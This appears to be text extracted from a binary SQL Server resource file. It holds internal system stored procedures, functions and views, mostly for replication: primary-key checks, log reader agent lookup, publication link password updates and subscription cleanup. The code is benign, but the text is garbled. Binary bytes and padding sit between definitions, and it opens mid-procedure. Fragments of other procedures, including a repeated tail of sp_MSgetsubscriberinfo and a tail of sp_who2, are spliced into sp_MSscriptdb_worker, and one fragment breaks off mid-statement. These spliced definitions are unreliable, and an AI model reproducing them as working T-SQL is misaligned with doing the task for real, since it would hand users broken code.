    @tabid int 
    ,@colid int
    ,@publishertype tinyint=1        -- 1 = mssqlserver, 2 = heterogeneous
)
as
begin

    if (@publishertype = 1)
    begin
        -- mssqlserver publisher
        declare @pkindid int, @indkey int, @objname nvarchar(300)

        if objectproperty(@tabid, 'IsTable') = 1
        begin
            if exists (select indexcols.index_column_id 
                         from sys.indexes inds
                   inner join sys.index_columns indexcols
                           on inds.index_id = indexcols.index_id
                          and inds.object_id = indexcols.object_id
                          and inds.object_id = @tabid
                          and inds.is_primary_key = 1
                        where indexcols.column_id = @colid
                          and indexcols.is_included_column = 0)
            begin
                return 1
            end
        end
        else if objectproperty(@tabid, 'IsView') = 1
        begin
            if exists (select index_column_id
                         from sys.index_columns
                        where object_id = @tabid
                          and index_id = 1 -- clustered index
                          and column_id = @colid)
            begin
                return 1
            end
        end
        
        return 0



        if exists( select * from sys.objects where object_id = @tabid and type = 'V' )
        begin
            select @pkindid = 1
        end
        else
        begin
            select @pkindid = index_id from sys.indexes where object_id = @tabid and is_primary_key = 1
        end
        select @indkey = 1
        select @objname = QUOTENAME(schema_name(OBJECTPROPERTY(@tabid, 'SchemaId'))) collate database_default + N'.' collate database_default + QUOTENAME(object_name( @tabid )) collate database_default 
        while @indkey <= 16 and index_col( @objname, @pkindid, @indkey ) is not null
        begin
            if exists (select column_id from sys.columns where object_id = @tabid 
                    and name = index_col( @objname, @pkindid, @indkey ) and column_id = @colid)
                return 1
            select @indkey = @indkey + 1    
        end
    end
    else if (@publishertype = 2)
    begin
        -- heterogenous publisher
        declare @pubcolid int
            
        SELECT    @pubcolid = publishercolumn_id
        FROM    IHcolumns
        WHERE    @tabid = article_id
        AND    @colid = column_id 

        if exists (SELECT    ihpc.publishercolumn_id
                    FROM IHcolumns ihc, IHpublishercolumns ihpc, IHpublishercolumnconstraints ihpcc,
                            IHpublisherconstraints ihpcn, IHarticles iha
                    WHERE ihpcn.publisher_id = iha.publisher_id
                            and    ihpcn.table_id = iha.table_id
                            and    ihc.publishercolumn_id = ihpc.publishercolumn_id
                            and    ihpc.publishercolumn_id = ihpcc.publishercolumn_id
                            and    ihpcn.publisherconstraint_id = ihpcc.publisherconstraint_id
                            and    iha.article_id = @tabid
                            and    ihpcn.type = 'PRIMARYKEY'
                            and    ihpc.publishercolumn_id = @pubcolid) 
        return 1
    end
    else
    begin
        raiserror(21402, 16, 15, '@publishertype')
    end
    -- all done
    return 0
end
0
V @8create procedure sys.sp_helpreplicationdb
        @dbname sysname = '%', @type sysname = 'pub'
    AS

    SET NOCOUNT ON

    /*
    ** Declarations.
    */

    DECLARE @retcode int, @typebit int

    if (lower(@type collate SQL_Latin1_General_CP1_CS_AS) like 'pub%')
       select @typebit = 1
    else if (lower(@type collate SQL_Latin1_General_CP1_CS_AS) like 'sub%')
       select @typebit = 2
    else
    begin
       raiserror(14091,-1,-1)
       return 1
    end

    /*
    ** Parameter Check:  @dbname.
    ** Check to make sure that the database name conforms to the rules
    ** for identifiers.
    */

    IF @dbname <> '%'
       BEGIN
          EXECUTE @retcode = sys.sp_validname @dbname

          IF @@ERROR <> 0 OR @retcode <> 0
          RETURN (1)
       END

    /*
    ** Show databases with this option enabled.
    */

    SELECT name
      FROM master.dbo.sysdatabases
     WHERE ((@dbname = N'%') or (name = @dbname collate database_default)) 
       AND (category & @typebit) <> 0
0N 8CREATE PROCEDURE sys.sp_MSrepl_helplogreader_agent 
(
	@publisher			sysname,
	@publisher_type 	sysname
)
AS
BEGIN
	SET NOCOUNT ON

	DECLARE @retcode			int,
			@procedure			nvarchar(4000),
			@distributor_rpc	sysname,
			@distribution_db	sysname,
			@publisher_db		sysname
	
	-- Security Check
	EXEC @retcode = sys.sp_MSreplcheck_publish
	IF @@ERROR <> 0 OR @retcode <> 0
		RETURN 1
	
	-- defaults
	SELECT @publisher_db 	= DB_NAME(),
			@publisher		= ISNULL(@publisher, publishingservername())

	-- must be tran published or we exit with no resultset
	IF sys.fn_MSrepl_istranpublished(DB_NAME(),1) <> 1
	BEGIN
		RETURN 0
	END

	-- retrieve the distribution database name			
	EXEC @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor_rpc OUTPUT,
											@distribdb = @distribution_db OUTPUT,
											@publisher = @publisher
	IF @@error <> 0 or @retcode <> 0 or @distribution_db is NULL
	BEGIN
		-- "The Distributor has not been installed correctly."
		RAISERROR(20036, 16, -1)
		RETURN 1
	END

	-- Retrieve the Log Reader agent information
	SELECT @procedure = QUOTENAME(RTRIM(@distributor_rpc)) + '.' + QUOTENAME(RTRIM(@distribution_db)) + '.sys.sp_MShelplogreader_agent'	

	EXEC @retcode = @procedure @publisher = @publisher, 
									@publisher_db = @publisher_db
		IF @@ERROR <> 0 or @retcode <> 0
			RETURN 1

	RETURN 0
END
0Z D8mhO	.p	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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!pU`>2
<F1_30Yj@ 8 
-- add it
create view sys.pdw_health_components as
select
	component_id,
	group_id,
	component_name	collate database_default component_name
from sys._pdw_health_components
0y 8 
-- add it
create view sys.dm_pdw_nodes_db_file_space_usage as
select *, convert(int, null) pdw_node_id from sys.dm_db_file_space_usage
0j{ 8create procedure sys.sp_MSupdate_mqserver_distdb
as
begin
    if exists (select * from MSdistribution_agents
        where queue_id IS NOT NULL and substring(queue_id, 1, 10) != N'mssqlqueue' and queue_server IS NULL)
    begin
        --
        -- we have entries for active Queued subscriptions using MSMQ that need upgrade
        --
        declare @queue_server sysname

        --
        -- prepare the queue server name
        --
        select @queue_server = @@servername
        if (charindex(N'\', @queue_server) > 0)
            select @queue_server = substring(@queue_server, 1, charindex(N'\', @queue_server) - 1)

        --
        -- update the queue_server column for these entries
        --
        update MSdistribution_agents
        set queue_server = @queue_server
        where queue_id IS NOT NULL and substring(queue_id, 1, 10) != N'mssqlqueue' and queue_server IS NULL
    end
end
0z
@ 8
--
-- Name:
--		sp_helpxactsetjob
--
-- Description:
--		Return current settings for the xactset Job
--
-- Inputs:
--		@publisher		== name of heterogeneous publisher
--
-- Returns:
--		Return code (0 for success, 1 for failure)
--
-- Security:
--		public -- call must be sysadmin
--
-- Notes:
--		This stored procedure is provided so that the administrator of 
--		heterogeneous publishing can examine the current settings associated 
--      with the xactset job.
--

CREATE PROCEDURE sys.sp_helpxactsetjob
(
	@publisher		sysname
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname

	-- Security Check
    IF IS_SRVROLEMEMBER ('sysadmin') != 1
    BEGIN
    	-- "Only members of the sysadmin fixed server role can perform this operation."
        RAISERROR(21089,16,-1)
        RETURN 1
    END
    
	SET @retcode = 0

	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@rpcheader		= @cmd OUTPUT,
													@publisher_type	= @publisher_type OUTPUT,
													@hreplOnly		= 1
	
	IF @retcode <> 0
		RETURN (@retcode)

	-- Error if the publisher is not a heterogeneous publisher
	IF @publisher_type NOT LIKE 'ORACLE%'
	BEGIN
		RAISERROR (21696, 16, -1, @publisher, @publisher_type)
    	RETURN (1)
	END

	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_ORAhelpXactSetJob'
	
	EXEC @retcode = @cmd	@publisher
	RETURN (@retcode)
END
0p@ 8create procedure sys.sp_MSgetsubscriberinfo 
    (@pubid uniqueidentifier)
as
    -- Security Checking 
    -- Pal users have access
    if ({fn ISPALUSER(@pubid)} <> 1)
    begin
        if (@pubid is NULL)
        begin
            RAISERROR (21723, 16, -1, 'sp_MSgetsubscriberinfo')
            return 1
        end
        else
        begin
            RAISERROR (14126, 11, -1)
            return 1
        end
    end
    
    declare @expr nvarchar(500)
    select @expr = validate_subscriber_info from dbo.sysmergepublications  where pubid = @pubid
    -- Return the value --
    select @expr
0. _8create procedure sys.sp_MSscriptdb_worker
as

	create table #tempFG
	(
     cDefault     int,                                  /* 1 for default FG, 0 for user defined */
     cDBFile      int,                                  /* 1 for DB file, 0 for Log file */
	  cSize        int,                                  /* in 8K page */
	  cMaxSize     int,
	  cGrowth      int,
     cGrowthType  int,                                  /* 1 for GrowthInMB, 0 for GrowthInPercent */
     cFGName      nvarchar(132) COLLATE database_default NOT NULL,      /* FG name */
	  cName        nvarchar(132) COLLATE database_default NOT NULL,      /* Logical */
	  cFileName    nvarchar(264) COLLATE database_default NOT NULL,     /* Physical */
	)

	create table #tempID
   (
		cGroupID int
	)

	set nocount on

   declare @PageSize int;
   select @PageSize = (low/1024) from master..spt_values where number = 1 and type = N'E'

   /* Default FileGroup first, which should cover all the log files */
   /* This one to pick up all the db files in Primary file group, while group id = 1 */
   insert #tempFG select 1, 1, convert(int, ceiling(((convert(float, o.size) * @PageSize)/1024))), (case when (o.maxsize < 1) then o.maxsize else convert(int, ceiling(((convert(float, o.maxsize) * @PageSize)/1024))) end), o.growth, (case when (o.status & 0x100000 = 0) then 1 else 0 end), g.groupname, RTRIM(o.name), RTRIM(o.filename) from dbo.sysfiles o, dbo.sysfilegroups g where g.groupid = 1 and g.groupid = o.groupid and (o.status & 0x40) = 0
   /* This one to pick up all the log files in Primary file group, while group id = 0, note that group id 0 does not exist in sysfilegroups */
   insert #tempFG select 1, 0, (o.size * @PageSize)/1024, (case when (o.maxsize < 1) then o.maxsize else convert(int, ceiling(((convert(float, o.maxsize) * @PageSize)/1024))) end), o.growth, (case when (o.status & 0x100000 = 0) then 1 else 0 end), N'PRIMARY', RTRIM(o.name), RTRIM(o.filename) from dbo.sysfiles o where o.groupid = 0 and (o.status & 0x40) <> 0
   /* Other FileGroups, we should have DBFiles, no log files */

   insert #tempID select groupid from dbo.sysfilegroups where groupid <> 1

   declare @FGid int
	exec(N'declare hC cursor global for select cGroupID from #tempID')
	open hC
	fetch hC into @FGid
	while (@@fetch_status >= 0) begin
      insert #tempFG select 0, 1, (o.size * @PageSize)/1024, (case when (o.maxsize < 1) then o.maxsize else convert(int, ceiling(((convert(float, o.maxsize) * @PageSize)/1024))) end), o.growth, (case when (o.status & 0x100000 = 0) then 1 else 0 end), g.groupname, RTRIM(o.name), RTRIM(o.filename) from dbo.sysfiles o, dbo.sysfilegroups g where g.groupid = @FGid and g.groupid = o.groupid and (o.status & 0x40) = 0
      fetch hC into @FGid
   end
	deallocate hC

   select * from #tempFG
   DROP TABLE #tempFG

      RAISERROR (21723, 16, -1, 'sp_MSgetsubscriberinfo')
            return 1
        end
        else
        begin
            RAISERROR (14126, 11, -1)
            return 1
        end
    end
    
    declare @expr nvarchar(500)
    select @expr = validate_subscriber_info from dbo.sysmergepublications  where pubid = @pubid
    -- Return the value --
    select @expr
 db_name(dbid) end,1,' + @charMaxLenDBName + ')
            ,Command       = substring(cmd,1,' + @charMaxLenCommand + ')

            ,CPUTime       = substring(convert(varchar,cpu),1,' + @charMaxLenCPUTime + ')
            ,DiskIO        = substring(convert(varchar,physical_io),1,' + @charMaxLenDiskIO + ')

            ,LastBatch     = substring(last_batch_char,1,' + @charMaxLenLastBatch + ')

            ,ProgramName   = substring(program_name,1,' + @charMaxLenProgramName + ')
            ,SPID          = convert(char(5),spid)  --Handy extra for right-scrolling users.
            ,REQUESTID       = convert(char(5),request_id)
      from
             #tb1_sysprocesses  --Usually DB qualification is needed in exec().
      where
             spid >= ' + @charspidlow  + '
      and    spid <= ' + @charspidhigh + '

      order by spid_sort

SET nocount on
'
)


LABEL_86RETURN:


if (object_id('tempdb..#tb1_sysprocesses') is not null)
            drop table #tb1_sysprocesses

return @retcode -- sp_who2
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!O6`<_|d05 8create function sys.dm_db_database_page_allocations
	(
	@DatabaseId			SMALLINT,
	@TableId			INT 			= NULL,
	@IndexId 			INT 			= NULL,
	@PartitionId		BIGINT			= NULL,
	@Mode				NVARCHAR(64)	= 'LIMITED'
	)
returns table
as
	return select DA.[database_id], DA.[object_id], DA.[index_id], DA.[partition_id], DA.[rowset_id],
		DA.[allocation_unit_id], DA.[allocation_unit_type], IP.[name] as 'allocation_unit_type_desc',
		DA.[data_clone_id], DA.[data_clone_state] as 'clone_state',
		case (DA.[data_clone_state]) when 0 then N'PRIMARY' else N'SECONDARY' end AS clone_state_desc,
		DA.[extent_file_id], DA.[extent_page_id],
		DA.[allocated_page_iam_file_id], DA.allocated_page_iam_page_id, DA.[allocated_page_file_id], DA.allocated_page_page_id,
		DA.is_allocated, DA.is_iam_page, DA.is_mixed_page_allocation, DA.page_free_space_percent,
		DA.page_type, DA.page_type_desc, DA.page_level, DA.next_page_file_id, DA.next_page_page_id, DA.previous_page_file_id, DA.previous_page_page_id,
		DA.is_page_compressed, DA.has_ghost_records
	from openrowset (table DM_DB_DATABASE_ALLOCATIONS, @DatabaseId, @TableId, @IndexId, @PartitionId, @Mode) DA
		JOIN sys.syspalvalues IP ON IP.[class] = 'AUTY' AND IP.[value] = DA.[allocation_unit_type]
0]G@ ~8CREATE VIEW sys.dm_tcp_listener_states AS
	SELECT *
	FROM OpenRowset(TABLE SYSTCPLISTENER)
0,M :8
create procedure sys.sp_tables_info_rowset
(
    @table_name     sysname,
    @table_schema   sysname = null,
    @table_type     nvarchar(255) = null
)
as
    select
        TABLE_CATALOG           = s_tiv.TABLE_CATALOG,
        TABLE_SCHEMA            = s_tiv.TABLE_SCHEMA,
        TABLE_NAME              = s_tiv.TABLE_NAME,
        TABLE_TYPE              = s_tiv.TABLE_TYPE,
        TABLE_GUID              = s_tiv.TABLE_GUID,
        BOOKMARKS               = s_tiv.BOOKMARKS,
        BOOKMARK_TYPE           = s_tiv.BOOKMARK_TYPE,
        BOOKMARK_DATATYPE       = convert(smallint, 19), --DBTYPE_UI4
        BOOKMARK_MAXIMUM_LENGTH = convert(int, 4),
        BOOKMARK_INFORMATION    = s_tiv.BOOKMARK_INFORMATION,
        TABLE_VERSION           = s_tiv.TABLE_VERSION,
        CARDINALITY             = s_tiv.CARDINALITY,
        DESCRIPTION             = s_tiv.DESCRIPTION,
        TABLE_PROPID            = s_tiv.TABLE_PROPID
    from
        sys.spt_tables_info_view s_tiv
    where
        (
            (@table_schema is null and s_tiv.TABLE_NAME = @table_name) or
            object_id(quotename(@table_schema) + '.' + quotename(@table_name)) = s_tiv.object_id
        ) and
        (@table_type is null or @table_type = s_tiv.TABLE_TYPE)
    order by 4, 2, 3
0@ 8CREATE PROCEDURE sys.sp_MSchangepublicationlinkpasswords
(
    @server 		sysname,
    @remote_login	sysname,
    @new_password	sysname
)
AS
BEGIN
    SET NOCOUNT ON

    DECLARE @retcode 		int,
                @publisherlink	sysname,
                @publisher		sysname


    -- if the table does not exist then that means we are not at a 
    -- subscription database and we do not need to update anything
    IF OBJECT_ID(N'MSsubscription_properties', N'U') IS NULL
    BEGIN
        RETURN 0
    END

    -- note that here we only update links with security_mode = 0
    DECLARE cursorPubLinks CURSOR LOCAL FAST_FORWARD FOR
        SELECT s.name, sp.publisher
        FROM MSsubscription_properties as sp, master.sys.servers as s
        WHERE (UPPER(sp.publisher) = UPPER(@server) OR @server = N'%')
            AND publisher_security_mode = 0
            AND publication_type in (0,1)
            AND s.name = sys.fn_MSrepllinkname(N'REPLLINK', upper(sp.publisher), sp.publisher_db, sp.publication, db_name())

    OPEN cursorPubLinks

    FETCH cursorPubLinks INTO @publisherlink, @publisher
    WHILE @@FETCH_STATUS <> -1
    BEGIN
        EXEC @retcode = sys.sp_MSchangerepllinkedsrvrpassword @server = @publisherlink,
                                                                                        @remote_login = @remote_login,
                                                                                        @new_password = @new_password
        IF @retcode <> 0 or @@ERROR <> 0
            RETURN 1

        FETCH cursorPubLinks INTO @publisherlink, @publisher
    END

    CLOSE cursorPubLinks
    DEALLOCATE cursorPubLinks

    RETURN 0
END
0CM 8
--
-- Name:    
--          sp_IHscriptpkwhereclause
--          
-- Description: 
--          Script primary key where clause
--  
-- Security: 
--          Public (for use by snapshot agent)
--
-- Returns:
--          Success or failure
--			Temp table (#proctext) of commands
--      
-- Owner:   
--          <current owner> 
--

create procedure sys.sp_IHscriptpkwhereclause
(
	@src_objid		int,
	@artid			int,
	@prefix			nvarchar(10) = N'@pkc',
	@artcolcounter	bit = 0						-- 0 means it does column counting base on pk, 1 means base on article columns
)
as
begin
	declare @this_col int
	declare @art_col int
	declare @spacer nvarchar(10)
	declare @isset int
	declare @cmd nvarchar(4000)
	declare @col_name nvarchar(128)

	-- create WHERE clause

	select @art_col = 0
	select @spacer = N' '
	select @cmd = N'where'

	DECLARE hCColid CURSOR LOCAL FAST_FORWARD FOR 
	select	ihc.publishercolumn_id, ihsc.name
	from	IHcolumns ihc,
			IHsyscolumns ihsc
	where	ihc.column_id = ihsc.colid
	  and	ihscid = @src_objid
	order by ihsc.colorder asc

	OPEN hCColid

	FETCH hCColid INTO @this_col, @col_name

	WHILE (@@fetch_status <> -1)
	begin
		--skipping columns with no name (computed?)
		if EXISTS (select name from IHsyscolumns where id=@src_objid and @this_col=colid)
		begin
			-- If @artcolcounter = 1, it is called from 
			-- sp_scriptxupdproc or sp_scriptxdelproc
			-- Use counter in article column bitmap
			-- Otherwise use counter in pk bitmap
			if @artcolcounter = 1
			begin
				exec @isset = sys.sp_IHisarticlecolbitset @this_col, @artid
				if @isset != 0
					select @art_col = @art_col + 1
			end
			exec @isset = sys.fn_IHiscolpk @this_col
			if @isset != 0 
			begin
				if @artcolcounter = 0
					select @art_col = @art_col + 1
				select @cmd = @cmd + @spacer + QUOTENAME(@col_name) + N' = ' + @prefix + convert( nvarchar, @art_col ) 
				select @spacer = N' and '
				if len( @cmd ) > 3000
				begin
					insert into #proctext(procedure_text) values( @cmd )
					select @cmd = N''
				end
			end
		end
		FETCH hCColid INTO @this_col, @col_name
	end
	CLOSE hCColid
	DEALLOCATE hCColid

	insert into #proctext(procedure_text) values( @cmd )
end
0A@ e8create procedure sys.sp_MSadd_dynamic_snapshot_location (
            @publication sysname, 
            @partition_id int,
            @dynsnap_location nvarchar(255)) 
as
    set nocount on

    declare @retcode  int
	
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @publication = @publication
    if @retcode<>0 or @@ERROR<>0
        return 1

    if @partition_id is NULL or @partition_id < 0
        return 0
        
    if exists(select * from dbo.MSmerge_dynamic_snapshots where partition_id = @partition_id)
    begin
        update dbo.MSmerge_dynamic_snapshots
        set dynamic_snapshot_location = @dynsnap_location, last_updated = getdate()
        where partition_id = @partition_id
        if @retcode <> 0 or @@error <> 0
            return 1
    end
    else
    begin
        insert into dbo.MSmerge_dynamic_snapshots (partition_id, dynamic_snapshot_location, last_updated, last_started)
        values (@partition_id, @dynsnap_location, getdate(), NULL)
        if @retcode <> 0 or @@error <> 0
            return 1
    end

    return 0
0F P8
Yh>uPublisher,
					@publisher_type

	RETURN (@retcode)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!aC`<( v!&create procedure sys.sp_subscription_cleanup
(
    @publisher      sysname,
    @publisher_db   sysname = NULL,
    @publication    sysname = NULL,
    @reserved       nvarchar(10) = NULL,
    @from_backup    bit = 0
)
AS
BEGIN
    DECLARE    @object_name sysname
    DECLARE    @fullname nvarchar(517)
    DECLARE    @object_type char(2)
    DECLARE    @independent_agent bit
    DECLARE    @retcode int
    DECLARE    @parent_obj int
    DECLARE    @object_id int
    DECLARE    @cmd nvarchar(4000)
    DECLARE    @publisherlinkusertodrop sysname

    SET NOCOUNT ON

    /*
    ** Security Check
    */

    EXEC @retcode = sys.sp_MSreplcheck_subscribe
    IF @@ERROR <> 0 or @retcode <> 0
        RETURN(1)
        
    IF @publication = '' OR @publication is NULL
    BEGIN
       SELECT @independent_agent = 0
    END
    ELSE
    BEGIN
        SELECT @independent_agent = 1
    END

    /*
    ** Parameter Check: @publisher_db
    */
    IF @publisher_db = 'all'
        AND @reserved != 'drop_all'
    BEGIN
        RAISERROR (14136, 16, -1)
        RETURN (1)
    END
    
    IF @publisher_db IS NULL
    BEGIN
		-- The parameter @publisher_db cannot be NULL.
        RAISERROR (14043, 16, -1, '@publisher_db', 'sp_subscription_cleanup')
        RETURN 1
    END

    EXEC @retcode = sys.sp_validname @publisher_db
    IF @@ERROR <> 0 OR @retcode <> 0
        RETURN 1
 
	-- We must cleanup the p2p meta-data prior to 
	-- dropping the MSsubscription_agents table
    EXEC @retcode = sys.sp_MScleanup_peer_metadata @type = 1,
													@publication = @publication,
                                                    @from_backup = @from_backup
	IF @retcode <> 0 or @@error <> 0
    BEGIN
		RETURN(1)
    END

    IF OBJECT_ID('MSsubscription_properties') IS NOT NULL
    BEGIN
        -- Unlink updating sub publisher information
        exec @retcode = sys.sp_unlink_publication_internal @publisher, @publisher_db, @publication, @reserved,@publisherlinkusertodrop = @publisherlinkusertodrop OUTPUT
        if (@retcode != 0 or @@error != 0)
            return (1)
    END

    IF OBJECT_ID('dbo.MSreplication_objects') IS NOT NULL
    BEGIN
        DECLARE object_cursor CURSOR LOCAL FAST_FORWARD FOR 
        SELECT DISTINCT object_name, object_type
        FROM    MSreplication_objects o, MSreplication_subscriptions s
        WHERE   (
        			-- Identify entries for a specific publication, or
					-- for all publications associated with a shared agent.
                    UPPER(o.publisher) = UPPER(@publisher) AND
                    UPPER(o.publisher) = UPPER(s.publisher) AND
                    o.publisher_db = @publisher_db AND
                    o.publisher_db = s.publisher_db AND
                    (
                      o.publication = @publication OR
                      (
                          @independent_agent = 0 AND
                          s.independent_agent = 0
                      ) 
                    )
                )
          OR    @reserved = 'drop_all' 

        OPEN    object_cursor
        FETCH    object_cursor INTO @object_name, @object_type

        WHILE (@@fetch_status <> -1)
        BEGIN
            IF @object_type in ('T' , 'P')
            BEGIN
                SELECT    @parent_obj = NULL
                
                SELECT    @parent_obj    = parent_object_id,
                        @object_id    = object_id
                FROM    sys.objects
                WHERE    name = @object_name
                
                IF @parent_obj IS NOT NULL
                BEGIN
                    -- Unmark synctran bit
                    EXEC sys.sp_MSget_qualified_name @parent_obj, @fullname output

                    IF @fullname IS NOT NULL
                    BEGIN
                        EXEC %%Object(MultiName = @fullname).LockMatchID(ID = @parent_obj, Exclusive = 1, BindInternal = 0)
                        --EXEC %%Object(MultiName = @fullname).LockExclusiveMatchID(ID = @parent_obj)

                        IF @@ERROR <> 0
                        BEGIN
                            RETURN(1)
                        END

                        EXEC %%Relation(ID = @parent_obj).SetSyncTranSubscribe(Value = 0)
                    end

                    EXEC @retcode = sys.sp_MSdrop_object @object_id = @object_id

                    IF @retcode <> 0 or @@error <> 0
                    BEGIN
                        RETURN(1)
                    END

                    -- Clean up identity range entry
                    -- Since we only support one trigger per subscriber table
                    -- we assume identity range row can not be reused by multiple
                    -- subscriptions.
                    IF OBJECT_ID('MSsub_identity_range') IS NOT NULL
                    BEGIN
                        IF EXISTS
                        (
                            SELECT    *
                            FROM    MSsub_identity_range
                            WHERE    objid = @parent_obj
                        )
                        BEGIN
                            -- Drop the identity range constraits.
                            EXEC @retcode = sys.sp_MSreseed    @objid            =  @parent_obj,
                                                            -- range or seed can be anything
                                                            @next_seed        = 10,
                                                            @range            = 10,
                                                            @is_publisher    = -1,
                                                            @check_only        = 1,
                                                            @drop_only        = 1

                            IF @retcode <> 0 or @@ERROR <> 0 
                            BEGIN
                                RETURN(1)
                            END

                            DELETE MSsub_identity_range
                            WHERE    objid = @parent_obj
                            
                            IF @@ERROR <> 0 
                            BEGIN
                                RETURN(1)
                            END
                        END

                        IF NOT EXISTS (SELECT * FROM MSsub_identity_range)
                        BEGIN
                            DROP TABLE MSsub_identity_range
                            IF @@ERROR <> 0 
                            BEGIN
                                RETURN(1)
                            END
                        END
                    END
                END
            END

            DELETE FROM MSreplication_objects
            WHERE object_name=@object_name

            FETCH object_cursor INTO @object_name, @object_type
        END
        
        CLOSE object_cursor
        DEALLOCATE object_cursor

        IF NOT EXISTS (SELECT * FROM MSreplication_objects) 
        BEGIN
            DROP TABLE MSreplication_objects

            IF @@ERROR <> 0 
            BEGIN
                RETURN(1)
            END
        END
    END

    --
    -- We must wait to drop the user until after the triggers are removed due
    --  to dependancy issues
    --
    if @publisherlinkusertodrop is not null
    begin
        exec @retcode = sys.sp_dropuser @name_in_db = @publisherlinkusertodrop
        if @@error <> 0 or @retcode <> 0
            return (1)        
    end

    IF OBJECT_ID('dbo.MSsavedforeignkeys', 'U') IS NOT NULL
    BEGIN
        IF @reserved = 'drop_all'
            TRUNCATE TABLE dbo.MSsavedforeignkeys
        -- 
        -- drop MSsavedforeignkeys if empty
        -- 
        IF NOT EXISTS
        (
            SELECT      *
            FROM     dbo.MSsavedforeignkeys
        )
        BEGIN
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(	6Yv!&            DROP TABLE dbo.MSsavedforeignkeys
            IF @@ERROR <> 0 
            BEGIN
                RETURN(1)
            END
        END
    END

    IF OBJECT_ID('dbo.MSsavedforeignkeycolumns', 'U') IS NOT NULL
    BEGIN
        IF @reserved = 'drop_all'
            TRUNCATE TABLE dbo.MSsavedforeignkeycolumns
        -- 
        -- drop MSsavedforeignkeycolumns if empty
        -- 
        IF NOT EXISTS
        (
            SELECT      *
            FROM     dbo.MSsavedforeignkeycolumns
        )
        BEGIN
            DROP TABLE dbo.MSsavedforeignkeycolumns
            IF @@ERROR <> 0 
            BEGIN
                RETURN(1)
            END
        END
    END

    IF OBJECT_ID('dbo.MSsavedforeignkeyextendedproperties', 'U') IS NOT NULL
    BEGIN
        IF @reserved = 'drop_all'
            TRUNCATE TABLE dbo.MSsavedforeignkeyextendedproperties

        -- 
        -- drop MSsavedforeignkeyextendedproperties if empty
        -- 
        IF NOT EXISTS
        (
            SELECT      *
            FROM     dbo.MSsavedforeignkeyextendedproperties
        )
        BEGIN
            DROP TABLE dbo.MSsavedforeignkeyextendedproperties
            IF @@ERROR <> 0 
            BEGIN
                RETURN(1)
            END
        END
    END

    --
    -- cleanup queued conflict tables
    --
    IF OBJECT_ID('MSsubscription_agents') IS NOT NULL
    BEGIN
        DECLARE    @agent_id int
        DECLARE    @cft_table sysname
        DECLARE    @owner sysname

        --
        -- first get the agent(s) for this queued subscription(s) and 
        -- 
        DECLARE    #agent_cursor CURSOR LOCAL FAST_FORWARD FOR
        SELECT    id
        FROM    dbo.MSsubscription_agents 
        WHERE    (
                    (
                        UPPER(publisher) = UPPER(@publisher) AND
                        publisher_db = @publisher_db AND 
                        publication = @publication
                    ) 
                    OR
                    (@reserved = 'drop_all')
                )
          AND    update_mode IN (0, 2,3,4,5)

        OPEN    #agent_cursor
        FETCH    #agent_cursor INTO @agent_id

        WHILE (@@fetch_status != -1)
        BEGIN
            --
            -- drop the conflict table for each article in this subscription
            --
            IF OBJECT_ID('MSsubscription_articles') IS NOT NULL
            BEGIN
                DECLARE #object_cursor CURSOR LOCAL FAST_FORWARD FOR 
                SELECT    owner,
                        cft_table
                FROM    dbo.MSsubscription_articles
                WHERE    agent_id = @agent_id

                OPEN #object_cursor
                FETCH #object_cursor INTO @owner, @cft_table

                WHILE (@@fetch_status != -1)
                BEGIN
                    --
                    -- drop the conflict table(s) for this article - ignore errors
                    --
                    SELECT    @cmd =    CASE WHEN (@owner IS NULL) THEN
                                        N'IF OBJECT_ID(N' + 
                                        QUOTENAME(@cft_table, N'''') collate database_default + ') IS NOT NULL drop table ' + 
                                        QUOTENAME(@cft_table) collate database_default
                                    ELSE
                                        N'IF OBJECT_ID(N' + 
                                        QUOTENAME(@cft_table, N'''') collate database_default + ') IS NOT NULL drop table ' + 
                                        QUOTENAME(@owner) collate database_default + N'.' +
                                        QUOTENAME(@cft_table) collate database_default
                                    END

                    EXECUTE(@cmd)

                    -- get next row
                    FETCH #object_cursor INTO @owner, @cft_table
                END
                
                CLOSE #object_cursor
                DEALLOCATE #object_cursor
                --
                -- delete entries from MSsubscription_articles for this agent id
                --
                DELETE    dbo.MSsubscription_articles
                WHERE    agent_id = @agent_id
            END
            --
            -- delete entries from MSsubscription_articlecolumns
            --
            IF OBJECT_ID('MSsubscription_articlecolumns') IS NOT NULL
            BEGIN
                DELETE dbo.MSsubscription_articlecolumns where agent_id = @agent_id
            END

            --
            -- get the next agent
            --
            FETCH #agent_cursor INTO @agent_id
        END
        
        CLOSE #agent_cursor
        DEALLOCATE #agent_cursor
    END

    --
    -- clean discarded queued transactions
    --
    IF OBJECT_ID('dbo.MSreplication_queue') IS NOT NULL
    BEGIN
        DELETE    dbo.MSreplication_queue
        WHERE    (
                    publisher = UPPER(@publisher) AND 
                    publisher_db = @publisher_db AND
                    publication = @publication
                )
           OR    @reserved = 'drop_all'
    end
    
    IF OBJECT_ID('dbo.MSrepl_queuedtraninfo') IS NOT NULL
    BEGIN
        DELETE    dbo.MSrepl_queuedtraninfo
        WHERE    (
                    UPPER(publisher) = UPPER(@publisher) AND
                    publisher_db = @publisher_db AND
                    publication = @publication
                )
           OR    @reserved = 'drop_all'
    end

